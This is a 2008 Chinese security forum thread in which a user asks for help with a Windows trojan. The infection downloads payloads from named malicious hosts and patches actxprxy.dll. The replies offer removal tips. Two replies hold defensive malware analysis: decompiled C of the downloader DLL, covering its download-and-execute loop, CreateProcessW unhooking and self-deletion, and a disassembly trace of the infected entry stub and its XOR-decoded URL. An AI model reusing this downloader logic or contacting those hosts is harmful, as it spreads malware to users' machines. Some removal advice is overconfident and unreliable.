首页
社区
课程
招聘
[求助]碰上很诡异的病毒,紧急求助!
发表于: 2008-11-6 18:50 12986

[求助]碰上很诡异的病毒,紧急求助!

2008-11-6 18:50
12986
这个现象(或者说病毒)到今天我才发觉,已经存在我的电脑上相当长的一段时间了;

表面症状就是: 在已经连接网络的情况下,不定时出现一个系统错误对话框<Generic Host Process for Win32 Services> ,说 netapi32.dll 遇到错误崩溃,偏移地址在0x000187ad,然后整个系统就瘫痪,连正常关机都失效,必须强硬重启了;

一开始,我只是以为是正常的系统发神经错误,并且出现的机率不算太频繁,就没在意;并且,我的机子上装有硬盘还原卡的(你就不要提机器狗了),记住,这是个很重要的先决条件;

直到这两天,这种崩溃的情况相对以前来说太过于频繁,我就开始装个卡巴杀下毒了;

一查,吓一跳;

用卡巴2009查杀全盘的硬盘文件,没有发现任何病毒;但是由卡巴实时监控,我看到:

机子一旦连接上了网络,某样东西就尝试去连接 http://kgb.gbu12.info/gbu.gif ,这样东西是什么呢? 不确定的,可以是Explorer.exe, 可以是Svchost.exe, 可以是iexplore.exe, 如果你开了QQ, 那么也可以是QQ.exe, 好像,这样诡异的东西可以把任何进程当作宿主!

我把这个 gbu.gif  下载了下来,卡巴查杀显示: Trojan-Downloader.Win32.Murlo.nn;

另外,卡巴的实时监控还告知, Generic Host Process for Win32 Services(Svchost.exe)   尝试去下载 http://sky.234132.info/sky.exe  这个程序,对于这个程序,卡巴提示:Trojan-Dropper.Win32.Agent.ytf

并且,这样诡异的东西会择时发作,隔一定的时间就随便找一个进程作为宿主去打开 http://kgb.gbu12.info/gbu.gif  ,时间的间隔竟然无规律可循!

好像,这一切都可以有一个解释很完美,那就是,病毒根本就不是来自本机,而是来自网络,就拿近期比较火的MS08-067 RPC远过程调用溢出漏洞来说吧,就是这样;

还有一个很古老的MS06-040听说也可以达到 弹出 Generic Host Process for Win32 Services 对话框然后使系统崩溃这种效果,但这个漏洞我已经补上了,无济于事;

难道是MS08-067? 这东西有这么智能的吗? MS08-067我已经在本人机测试N次了,没一次成功的;

不论怎么说,我想都可以排除掉MS08-067,因为我这个情况在MS08-067出来之前就已经存在一段时间了;

现在的问题是,根本不知道这样诡异的东西来自哪里;

最后提醒一下,我的机子是装有硬盘还原卡的;

望大家给点意见!

==================== 向大家报告最新情况 ===================

本人不才,始终无法确定(或找出)这诡异的东西来自何处,身藏哪里;弄了很久,至少有以下现象供分析:

一、不连接网络,这东西不会发作(废话);
二、连接网络后,发作的时间不定,无规律,有时很快便开始,有时要20几分钟才开始,而在此期间我没有什么特别的操作可能会触发它,比如运行某些程序;(真不知它以什么为根据来解发工作的)
三、发作后下载N多的文件,目前只发现它会在几个地方产生文件: 用户文件夹的Temp, windows\Temp, windows\system32,  在任务管理器可以见到的进程是rundll32.exe, 多个同名进程, 本人不才,隐藏的进程没有找出来;

接下来的现象很重要, 我连接网络后,无任何动作, 发现有人(同IP段)连接我的135端口,而此时那诡异的东西并没有发作(这让人不由得往网络攻击入侵方面去想,但后来发觉不像),曾尝试过关闭135,137,138,139,445等一些危险端口,并且,鉴于现在MS08-067比较火,还并闭了server服务,并且打了这个漏洞的补丁,可是情况依旧,不得不撤消对MS08-067的怀疑;

这个特征也很重要: 中毒后,这个毒就去扫描和我处在同一IP段的机子,并如数连接它们的135端口,勿容置疑,它是想自身传播,途径就是135端口; --> 这就很好解释之前为什么会有和我同IP段的机子来连接我的135端口了,因为它们也中了这个毒;

------- 病毒发作后在注册表 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager 处新建了一项,项名称:PendingFileRenameOperations     类型:REG_MULTI_SZ  数据: @\??\C:\WINDOWS\system32\@c:\windows\system32\actxprxy.dll.tmp

理所当然,去找找这个DLL,再拿一个原始的DLL与之比较,大小完全一样,看看16进制,在文件头处发觉有改动..... 把这个DLL拿去杀杀毒看看,报毒; 这项注册表的数据真的与这个DLL有关系吗?不是,重启机子还原,再看下一次发作, 这项的数据又是:

\??\C:\DOCUME~1\Free\LOCALS~1\Temp\qqs1.tmp\qqsF2A8.tmp

\??\C:\WINDOWS\TEMP\qqs2.tmp\qqsF2A8.tmp

======》可见它是随机的;

虽然同IP段的机连我的135,我的机子中毒后去连别人的135,这样传播,咋一看总以为是通过网络传播的,但禁用了各个端口,打了一些与此有关的补丁都无济于事,并且发现了本地文件actxprxy.dll有毒,是不是可以完全排除网络入侵,转向本地了?

一直不敢相信自己的电脑上竟然藏着这个东西,还不知多久了; 到底是硬盘还原卡被机器狗搞掉了,还是什么时候把这个诡异的东西转存进去了.... 平时一直很小心的,晕;

也许没人对这东西有兴趣,自己莱,没办法,各大杀毒又不起作用,好像卡巴,只能拦,不停地拦,根本查不出病毒的根在哪里;

我重装吧;

附上那两个actxprxy.dll, 一个本机拿出来的,报毒, 另一个虚拟机拿出来的,原始的文件,不报毒;

有兴趣看这个DLL的人,请指教我,如果病毒的根真的与这个DLL有关,那它是怎么实现自启动的?我查遍了注册表都找不到相关信息,难道它把某某项注册表隐藏了?

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 0
支持
分享
最新回复 (26)
雪    币: 503
活跃值: (80)
能力值: (RANK:280 )
在线值:
发帖
回帖
粉丝
2
需要个原始样本, gbu.gif在360上也有人报,但也只有几句话
http://bbs.360safe.com/viewthread.php?tid=577022

个人感觉远程攻击的可能性不大,除非你是在用服务器,否则没道理谁整天会对着你的ip攻击
本机上可能有个隐藏的木马
2008-11-6 18:59
0
雪    币: 3
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
这个病毒很诡异,写这病毒的人功夫不是一般的深;
2008-11-6 19:13
0
雪    币: 503
活跃值: (80)
能力值: (RANK:280 )
在线值:
发帖
回帖
粉丝
4
不一定,网上找个现成的rootkit加个商业壳就可以藏起来了
2008-11-6 19:21
0
雪    币: 479
活跃值: (25)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
5
"http://kgb.gbu12.info/gbu.gif"中gbu.gif是一个Dll文件,AppDLL_101为导出函数,大概看了下,逆了一下代码,用GetProcess从WININET.dll获得几个网络函数下载文件,然后实现破坏。
int __cdecl AppDLL_101()
{
HMODULE v1; // eax@1
HMODULE hLibModule; // [sp+274h] [bp-4h]@1
CHAR ApplicationName; // [sp+0h] [bp-278h]@2
signed int v4; // [sp+164h] [bp-114h]@2
struct _STARTUPINFOA StartupInfo; // [sp+108h] [bp-170h]@6
struct _PROCESS_INFORMATION ProcessInformation; // [sp+154h] [bp-124h]@6
CHAR ExistingFileName; // [sp+168h] [bp-110h]@7

SetUnhandledExceptionFilter(unknown_libname_1);
v1 = LoadLibraryA("WININET");
hLibModule = v1;
if ( v1 )
{
InternetOpenA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(
hLibModule,
"InternetOpenA");
InternetOpenUrlA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(
hLibModule,
"InternetOpenUrlA");
InternetReadFile = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(hLibModule, "InternetReadFile");
InternetCloseHandle = (int (__stdcall *)(_DWORD))GetProcAddress(hLibModule, "InternetCloseHandle");
GetTempPathA(0x104u, &ApplicationName);
lstrcatA(&ApplicationName, "\\QQ_Update.cab");
v4 = 0;
while ( v4 < 128 )
{
byte_10003010[v4] = ~byte_10003010[v4];
++v4;
}
while ( 1 )
{
if ( NetDownFile((int)byte_10003010, &ApplicationName) )
{
GetStartupInfoA(&StartupInfo);
StartupInfo.dwFlags |= 0x80u;
ReadSomeFile();
if ( CreateProcessA(&ApplicationName, 0, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
break;
}
Sleep(0x15F90u);
}
FreeLibrary(hLibModule);
GetTempPathA(0x104u, &ApplicationName);
GetTempFileNameA(&ApplicationName, "qqs", 0, &ApplicationName);
lstrcatA(&ApplicationName, "\\qqsF2A8.tmp");
GetModuleFileNameA(hModule, &ExistingFileName, 0x104u);
MoveFileExA(&ExistingFileName, &ApplicationName, 0);
MoveFileExA(&ApplicationName, 0, 4u);
}
return 0;
}



int __stdcall NetDownFile(int a1, LPCSTR lpFileName)
{
int result; // eax@2
HANDLE v3; // eax@1
int v4; // eax@3
int v5; // eax@5
int v6; // eax@7
int v7; // [sp+4h] [bp-410h]@1
HANDLE hObject; // [sp+8h] [bp-40Ch]@1
int v9; // [sp+0h] [bp-414h]@3
int v10; // [sp+410h] [bp-4h]@5
char Buffer; // [sp+Ch] [bp-408h]@7
DWORD NumberOfBytesWritten; // [sp+40Ch] [bp-8h]@7

v7 = 0;
v3 = CreateFileA(lpFileName, 0x40000000u, 0, 0, 2u, 0, 0);
hObject = v3;
if ( v3 == (HANDLE)-1 )
{
result = 0;
}
else
{
v4 = InternetOpenA(0, 0, 0, 0, 0);
v9 = v4;
if ( v4 )
{
v5 = InternetOpenUrlA(v9, a1, 0, 0, -2147483648, 0);
v10 = v5;
if ( v5 )
{
while ( 1 )
{
v6 = InternetReadFile(v10, &Buffer, 1024, &NumberOfBytesWritten);
v7 = v6;
if ( !v6 )
break;
if ( !NumberOfBytesWritten )
break;
WriteFile(hObject, &Buffer, NumberOfBytesWritten, &NumberOfBytesWritten, 0);
}
CloseHandle(hObject);
InternetCloseHandle(v10);
InternetCloseHandle(v9);
result = v7;
}
else
{
InternetCloseHandle(v9);
CloseHandle(hObject);
DeleteFileA(lpFileName);
result = v7;
}
}
else
{
CloseHandle(hObject);
DeleteFileA(lpFileName);
result = v7;
}
}
return result;
}



int __cdecl ReadSomeFile()
{
int result; // eax@1
char *v1; // ecx@8
HMODULE v2; // [sp+134h] [bp-Ch]@1
CHAR FileName; // [sp+28h] [bp-118h]@1
HANDLE hFile; // [sp+13Ch] [bp-4h]@1
int v5; // [sp+138h] [bp-8h]@1
int v6; // [sp+20h] [bp-120h]@2
BOOL (__stdcall *v7)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); // [sp+1Ch] [bp-124h]@2
signed int v8; // [sp+24h] [bp-11Ch]@2
void *lpAddress; // [sp+18h] [bp-128h]@8
LONG lDistanceToMove; // [sp+4h] [bp-13Ch]@8
char Buf2; // [sp+8h] [bp-138h]@8
DWORD flOldProtect; // [sp+0h] [bp-140h]@9

v2 = GetModuleHandleA("Kernel32");
GetSystemDirectoryA(&FileName, 0x104u);
lstrcatA(&FileName, "\\Kernel32.dll");
result = ReadKernelFile((int)&FileName, &FileName, (int)&hFile);
v5 = result;
if ( result )
{
v6 = 0;
v7 = CreateProcessW;
v8 = 0;
while ( v8 < 256 )
{
if ( *((_BYTE *)v7 + v8) == 232 )
{
v6 = *(_DWORD *)((char *)v7 + v8 + 1);
break;
}
++v8;
}
if ( v8 != 256 )
{
lpAddress = (char *)CreateProcessW + v8 + v6 + 5;
v1 = (char *)((BOOL (__stdcall *)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION))((char *)CreateProcessW + v8 + v6 + 5)
- (BOOL (__stdcall *)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION))v2);
lDistanceToMove = (LONG)&v1[v5];
ReadSetFilePoint((DWORD)hFile, hFile, (LONG)&v1[v5], &Buf2, 0x10u);
if ( memcmp(lpAddress, &Buf2, 0x10u) )
{
if ( VirtualProtect(lpAddress, 0x10u, 4u, &flOldProtect) )
{
memcpy(lpAddress, &Buf2, 0x10u);
VirtualProtect(lpAddress, 0x10u, flOldProtect, &flOldProtect);
}
}
}
result = CloseHandle(hFile);
}
return result;
}
2008-11-6 20:49
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
楼上的高明!!!!
2008-11-6 21:06
0
雪    币: 231
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qdk
7
代码逆得这么工整,难道是乌龟大师的MJ
2008-11-6 22:23
0
雪    币: 503
活跃值: (80)
能力值: (RANK:280 )
在线值:
发帖
回帖
粉丝
8
看注册日期,他比我早很多很多,我只是新人
2008-11-6 22:28
0
雪    币: 503
活跃值: (80)
能力值: (RANK:280 )
在线值:
发帖
回帖
粉丝
9
楼主的问题关键应该是隐藏的downloader而不是被下载的文件,不过5楼的分析真有条理,膜拜
2008-11-6 22:30
0
雪    币: 479
活跃值: (25)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
10
乌龟大师大师过奖了,说的我脸红,我只是用了F5,还要向大师学习
2008-11-6 22:38
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
[QUOTE=;]...[/QUOTE]
是不是你的系统没有打补丁,被这个黑客溢出一回,又被另一个黑客溢出一回,所以就不定时的下载东西了
2008-11-7 10:53
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
C:\Documents and Settings\NetworkService\Local Settings\Temporary Internet Files\Content.IE5

这里的文件清空,然后关闭DNS Client服务,试试

HKLM\system\currentControlSet\services\HB... 这里有个hb打头的服务,连接hb*.sys
删除掉

用cureit扫描,可以删除很多dll,都是后门下载的

我也是同样的情况,不定时提示下载http://kgb.gbu12.info/gbu.gif
现在好像好了

弄不懂NetworkService\Local Settings\Temporary Internet Files\Content.IE5
具体是哪个服务下载的这些缓存文件,里面就有gbu.gif和update.gif

我猜想可能是ms08067漏洞利用svchost下载的

刚刚又发现了,还是没有消除
2008-11-9 18:31
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
我也是被这病毒折腾好多天了!

请问有没有根除方法??我已经在安全模式+断网替换了无毒的actxprxy.dll还是没有效果。。。

只要上网就会再次下载病毒啊!!!

各位大侠救救我啊!
2008-11-13 00:20
0
雪    币: 231
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
检查机器有无异常进程吧,这可能是virus.win32.downloader类型的病毒,通过远程下载者带来的,
在断网的情况下,用下载者专杀,清楚缓存,修复regedt32和IE,实在不行....Ghost
2008-11-13 06:50
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
这两天没有出现,怀疑是不是网络攻击,我的电脑是在局域网里的
楼上有直接宽带拨号上网的么?
2008-11-14 03:48
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
我是直接拨号宽带
2008-11-19 08:59
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
我用wsyscheck删除了它,然后安装norton,升级,次过程中不断用wsyscheck检测、卸载、删除。最后终于控制住它了
2008-11-21 11:54
0
雪    币: 423
活跃值: (11)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
18
没用的,它是不定时发作。而且是在确认控制系统后才会发作。

我感觉是木马,似乎是好多种木马互补,好难。断网杀毒容易些,但只能延缓发作的时间。
2008-11-22 11:30
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
本人不才,要是我就用IceSword去看一下进程中有没有可疑模块,hiden Process,然后去判断一下路径,试着suspend模块中的Thread,去路径看看,去VirusTotal去看看。也没什么高见。,帮顶一下
2008-11-22 11:42
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
蠕虫型木马,估计是最近那个火漏洞的利用者
2008-11-22 11:43
0
雪    币: 221
活跃值: (66)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pzz
21
actxprxy.dll带arp欺骗的线程型穿透还原病毒
2008-12-6 18:59
0
雪    币: 189
活跃值: (56)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
22
它连接其他135端口的时候发送的时候抓个包看看呀
那个DLL好象只是做下载用的,它都要用PendingFileRenameOperations 来自我销毁了,没什么花头
2008-12-6 19:52
0
雪    币: 0
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
23
楼主先用SREngPS系统诊断工具先扫描一个系统日志出来,通过日志判断那些路径是可疑行为。
另外在用autorun可以判断隐藏的进程与映像劫持,包括驱动都一目了然出现你的面前
另外楼主刚才说了,如果连接网络,那个病毒才会触发,如果不连接网络,这个病毒就不会触发

一、不连接网络,这东西不会发作(废话)

而且楼主也判断 我把这个 gbu.gif  下载了下来,卡巴查杀显示: Trojan-Downloader.Win32.Murlo.nn
那么这是一驱动级个蠕虫病毒,伪造成图片模式,自动去连接网址感染系统,可能是利用系统漏洞或第三方软件漏洞,建议楼主用专业漏洞扫描仪进行系统进行扫描

还有MS-0867RPC远程执行漏洞 是需要三项服务支持 关于这方面解决方案 可以去绿盟科技官方网看看,那里有解决方案

你中的是驱动级蠕虫病毒 是利用你的系统漏洞或第三方软件漏洞进行的
因为驱动级病毒只要检测到I/O TCP/IP堆栈进行连接网络 就会自动下载病毒程序
杀毒软件只会查杀病毒文件 病毒源体并没有查杀掉 因为这病毒自我免疫能力非常强悍

哈哈 反正按照我方式解决 100%会成功

最简单方法,如果觉的麻烦,直接装系统 另外更改IP地址 IP地址与MAC地址绑定
更新安装系统漏洞和第三方软件漏洞 安装个人独立防火墙 和杀毒软件
那样就不会出现问题! 建议是低格式化(全盘)因为蠕虫病毒极有很强感染传播能力
对驱动也禁用播放功能!
2008-12-6 21:08
0
雪    币: 189
活跃值: (56)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
24
对楼主提供的文件跟了一下,果然和我上面判断的一样,就是个下载器,那个对135发数据包的部分不知道在哪里,比较感兴趣

根据楼主提供的2个文件的对比,得到被感染dll入口处给改写了一个E9跳转指令,而且原来很多为全00的段都被写进了数据,估计是一个把自己分段写入的病毒,就从加载处开始跟。

71CD2745    50              push    eax
71CD2746    60              pushad
71CD2747    E9 9B000000     jmp     71CD27E7
71CD274C    8BFF            mov     edi, edi
71CD274E    55              push    ebp
71CD274F    8BEC            mov     ebp, esp
71CD2751    53              push    ebx
71CD2752    5F              pop     edi
71CD2753    57              push    edi
71CD2754    8BDF            mov     ebx, edi
71CD2756    4B              dec     ebx
71CD2757    66:813B 4D5A    cmp     word ptr [ebx], 5A4D
71CD275C  ^ 75 F8           jnz     short 71CD2756
71CD275E    8BF3            mov     esi, ebx
71CD2760    817B 3C 0001000>cmp     dword ptr [ebx+3C], 100
71CD2767  ^ 77 ED           ja      short 71CD2756
71CD2769    0373 3C         add     esi, dword ptr [ebx+3C]
71CD276C    813E 50450000   cmp     dword ptr [esi], 4550
71CD2772  ^ 75 E2           jnz     short 71CD2756
71CD2774    E8 1E000000     call    71CD2797
71CD2779    EC              in      al, dx

看到5A4D 4550这种有个性的东西就知道是在找一个pe头,不过他没有执行,直接跳转到
71CD27E7  ,这里又call 71CD2752,然后pop edi,取得自己的位置,然后开始往上低位内存
方向搜索MZ头,搜索到后,接着一个短跳到

71CD2797    5A              pop     edx
71CD2798    B9 05000000     mov     ecx, 5
71CD279D    FC              cld
71CD279E    833A 00         cmp     dword ptr [edx], 0
71CD27A1    74 13           je      short 71CD27B6
71CD27A3    53              push    ebx
71CD27A4    5E              pop     esi
71CD27A5    0332            add     esi, dword ptr [edx]
71CD27A7    83C2 04         add     edx, 4
71CD27AA    51              push    ecx
71CD27AB    0FB70A          movzx   ecx, word ptr [edx]
71CD27AE    F3:A4           rep     movs byte ptr es:[edi], byte ptr>
71CD27B0    59              pop     ecx
71CD27B1    83C2 02         add     edx, 2
71CD27B4  ^ E2 E8           loopd   short 71CD279E
71CD27B6    58              pop     eax
71CD27B7    53              push    ebx

取得71CD2779地址到edx,估计这个位置是感染时写入的分段的偏移,长度之类的数据,现在病毒要开始恢复他们了,
偏移 dd  长度 dw ,每个单位6个字节,最长分5段,在我手上这个一共分了3段
把分散在各处的东西都集中到一起后,就跳过去开始运行了,看看下面熟悉的入口

71CD27EC    55              push    ebp
71CD27ED    8BEC            mov     ebp, esp
71CD27EF    81EC 2C000000   sub     esp, 2C
71CD27F5    8BF4            mov     esi, esp
71CD27F7    64:A1 30000000  mov     eax, dword ptr fs:[30]
71CD27FD    8B40 0C         mov     eax, dword ptr [eax+C]
71CD2800    8B40 0C         mov     eax, dword ptr [eax+C]
71CD2803    8B00            mov     eax, dword ptr [eax]
71CD2805    8B58 18         mov     ebx, dword ptr [eax+18]

开辟了2C个字节的临时变量,从fs:[30]处取得kernel32.dll的基址
然后通过实现保存的HASH值取得几个函数的地址。

再就是加载了urlmon.dll,然后取得UrldownloadtofileA

再创建了一个堆,复制了一些代码过去,然后指向堆中的代码开了一个线程,
而主线程则返回,并恢复了dll入口处的代码,就回去了。

再来看看新建的那个线程

00B50800    55              push    ebp
00B50801    8BEC            mov     ebp, esp
00B50803    81C4 C0FEFFFF   add     esp, -140
00B50809    E8 00000000     call    00B5080E
00B5080E    5B              pop     ebx
00B5080F    81EB 6E114000   sub     ebx, 40116E
00B50815    BA 12124000     mov     edx, 401212                 ; ASCII "0@"
00B5081A    03D3            add     edx, ebx
00B5081C    B9 20000000     mov     ecx, 20
00B50821    51              push    ecx
00B50822    8BF2            mov     esi, edx
00B50824    8DBD C0FEFFFF   lea     edi, dword ptr [ebp-140]
00B5082A    57              push    edi
00B5082B    F3:A4           rep     movs byte ptr es:[edi], byt>
00B5082D    5B              pop     ebx
00B5082E    59              pop     ecx
00B5082F    4B              dec     ebx
00B50830    803419 BB       xor     byte ptr [ecx+ebx], 0BB
00B50834  ^ E2 FA           loopd   short 00B50830
00B50836    43              inc     ebx

入口,得到自身偏移,然后对一个字符串进行xor,得到

0012F060  68 74 74 70 3A 2F 2F 6B 67 62 2E 67 62 75 31 32  http://kgb.gbu12
0012F070  2E 69 6E 66 6F 2F 67 62 75 2E 67 69 66 00 BB BB  .info/gbu.gif.换

看来就是要下载的东西啦

接着

00B5084A    6A 00           push    0
00B5084C    FF56 18         call    dword ptr [esi+18]             ;kernel32.Mutex
00B5084F    6A 00           push    0
00B50851    50              push    eax
00B50852    FF56 20         call    dword ptr [esi+20]             ;kernel32.waitforsingleObject
00B50855    3D 02010000     cmp     eax, 102
00B5085A    74 52           je      short 00B508AE
00B5085C    68 C0270900     push    927C0
00B50861    FF56 1C         call    dword ptr [esi+1C]               ; kernel32.Sleep
00B50864    8DBD 00FFFFFF   lea     edi, dword ptr [ebp-100]
00B5086A    57              push    edi

这个就是下载后的地址

0012F028  43 3A 5C 44 4F 43 55 4D 45 7E 31 5C 41 44 4D 49  C:\DOCUME~1\ADMI
0012F038  4E 49 7E 31 5C 4C 4F 43 41 4C 53 7E 31 5C 54 65  NI~1\LOCALS~1\Te
0012F048  6D 70 5C 5C 77 6D 73 65 74 75 70 2E 64 6C 6C 00  mp\\wmsetup.dll.

00C8089B    57              push    edi
00C8089C    FF16            call    dword ptr [esi]                  ;LoadLibrary
00C8089E    85C0            test    eax, eax
00C808A0    74 0C           je      short 00C808AE
00C808A2    6A 65           push    65
00C808A4    50              push    eax
00C808A5    FF56 04         call    dword ptr [esi+4]                ; kernel32.GetProcAddress
00C808A8    85C0            test    eax, eax
00C808AA    74 02           je      short 00C808AE
00C808AC    FFD0            call    eax
00C808AE    C9              leave
00C808AF    C2 0400         retn    4

最后就是把下载下来的文件,估计是个DLL哦,加载,并调用0x65号函数
2008-12-6 22:01
0
雪    币: 360
活跃值: (77)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
25
楼上分析很猛!
2008-12-7 00:09
0
游客
登录 | 注册 方可回帖
返回
//